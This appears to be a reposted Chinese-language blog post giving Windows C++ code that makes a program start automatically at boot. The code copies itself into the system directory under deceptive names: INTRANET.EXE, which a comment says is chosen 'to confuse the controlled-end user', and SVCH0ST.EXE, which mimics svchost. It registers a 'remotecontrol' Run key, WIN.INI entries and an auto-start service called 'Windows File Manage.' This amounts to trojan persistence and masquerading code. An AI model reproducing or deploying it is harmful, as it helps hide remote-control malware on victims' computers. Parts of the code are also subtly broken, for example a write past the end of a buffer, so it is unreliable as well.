C++實現程式開機自啟動
阿新 • • 發佈:2019-01-02
可以採用以下方式實現自啟動: //拷貝到系統目錄 TCHAR TempPath[MAX_PATH]; CString temp; ::GetSystemDirectory(TempPath ,MAX_PATH); temp = TempPath; temp = temp + _T("\\INTRANET.EXE"); int len = temp.GetLength(); LPBYTE lpb = new BYTE[len]; for(int j = 0; j < len; j++) { lpb[j] = temp[j]; } lpb[j] = 0; //把本程式拷貝到系統目錄下,並改名為intranet.exe,這樣做的目的是為了迷惑被控制端使用者 CopyFile("autoboot.exe", temp ,FALSE); 1.修改WIN.INI(C:\WINDOWS\WIN.INI)檔案: WritePrivateProfileString(_T("windows"), _T("load"), temp, _T("c:\\windows\\win.ini")); WritePrivateProfileString(_T("windows"), _T("run"), temp, _T("c:\\windows\\win.ini")); 2.採用載入登錄檔方式啟動: HKEY hKey; LPCTSTR data_Set="Software\\Microsoft\\Windows\\CurrentVersion\\Run"; long ret0=(::RegOpenKeyEx(HKEY_LOCAL_MACHINE,data_Set,0,KEY_WRITE,&hKey)); if(ret0 != ERROR_SUCCESS) { MessageBox("錯誤0"); } long ret1=(::RegSetValueEx(hKey,_T("remotecontrol"),NULL,REG_SZ,lpb,len)); if(ret1!=ERROR_SUCCESS) {//判斷系統的相關注冊是否成功 MessageBox("錯誤1"); } //關閉登錄檔中的相應的項 ::RegCloseKey(hKey); 3.註冊為系統服務: void WINAPI ServiceMain(DWORD argc, LPTSTR *argv); //服務主函式 void WINAPI CmdStart(void); //要啟動的程式函式 void WINAPI ServiceCtrlHandler(DWORD Opcode); //服務控制函式 BOOL InstallService(); //安裝服務的函式 BOOL DeleteService(); //刪除服務的函式 在main函式中執行下列: SERVICE_TABLE_ENTRY DispatchTable[]={{SERVR_NAME,ServiceMain},{NULL,NULL}}; //最後的NULL指明陣列的結束 StartServiceCtrlDispatcher(DispatchTable); InstallService(); //安裝服務 void WINAPI ServiceMain(DWORD argc, LPTSTR *argv) { m_ServiceStatus.dwServiceType = SERVICE_WIN32; m_ServiceStatus.dwCurrentState = SERVICE_START_PENDING; m_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP; m_ServiceStatus.dwWin32ExitCode = 0; m_ServiceStatus.dwServiceSpecificExitCode = 0; m_ServiceStatus.dwCheckPoint = 0; m_ServiceStatus.dwWaitHint = 0; m_ServiceStatusHandle = RegisterServiceCtrlHandler(SERVR_NAME,ServiceCtrlHandler); if (m_ServiceStatusHandle == (SERVICE_STATUS_HANDLE)0) return; m_ServiceStatus.dwCurrentState = SERVICE_RUNNING; //設定服務狀態 m_ServiceStatus.dwCheckPoint = 0; m_ServiceStatus.dwWaitHint = 0; //SERVICE_STATUS結構含有七個成員,它們反映服務的現行狀態。 //所有這些成員必須在這個結構被傳遞到SetServiceStatus之前正確的設定 SetServiceStatus (m_ServiceStatusHandle, &m_ServiceStatus); bRunning=true; //* CmdStart(); //啟動我們的服務程式 //* return; } void WINAPI ServiceCtrlHandler(DWORD Opcode) //服務控制函式 { switch(Opcode) { case SERVICE_CONTROL_PAUSE: m_ServiceStatus.dwCurrentState = SERVICE_PAUSED; break; case SERVICE_CONTROL_CONTINUE: m_ServiceStatus.dwCurrentState = SERVICE_RUNNING; break; case SERVICE_CONTROL_STOP: m_ServiceStatus.dwWin32ExitCode = 0; m_ServiceStatus.dwCurrentState = SERVICE_STOPPED; m_ServiceStatus.dwCheckPoint = 0; m_ServiceStatus.dwWaitHint = 0; SetServiceStatus (m_ServiceStatusHandle,&m_ServiceStatus); bRunning=false; break; case SERVICE_CONTROL_INTERROGATE: break; } return; } BOOL InstallService() //安裝服務函式 { char strDir[1024]; SC_HANDLE schSCManager,schService; GetCurrentDirectory(1024,strDir); GetModuleFileName(NULL,strDir,sizeof(strDir)); char chSysPath[1024]; GetSystemDirectory(chSysPath,sizeof(chSysPath)); strcat(chSysPath,"\\SVCH0ST.EXE"); if(!CopyFile(strDir,chSysPath,FALSE)) return FALSE; // 把我們的服務程式複製到系統根目錄 strcpy(strDir,chSysPath); schSCManager = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS); if (schSCManager == NULL) return false; LPCTSTR lpszBinaryPathName=strDir; schService = CreateService(schSCManager,SERVR_NAME,"Windows File Manage.", //將服務的資訊新增到SCM的資料庫 SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, // 服務型別 SERVICE_AUTO_START, // 啟動型別 SERVICE_ERROR_NORMAL, lpszBinaryPathName, // 服務名 NULL, NULL, NULL, NULL, NULL); if (schService == NULL) return false; if(!StartService(schService,NULL,NULL)) //啟動服務 return FALSE; CloseServiceHandle(schService); return true; } BOOL DeleteService() { SC_HANDLE schSCManager; SC_HANDLE hService; schSCManager = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS); char chSysPath[1024]; GetSystemDirectory(chSysPath,sizeof(chSysPath)); strcat(chSysPath,"\\SVCH0ST.EXE"); if (schSCManager == NULL) return false; hService=OpenService(schSCManager,SERVR_NAME,SERVICE_ALL_ACCESS); if (hService == NULL) return false; if(DeleteFile(chSysPath)==0) return false; if(DeleteService(hService)==0) return false; if(CloseServiceHandle(hService)==0) return false; else return true; return TRUE; } void WINAPI CmdStart(void) { //.....我們的程式程式碼 }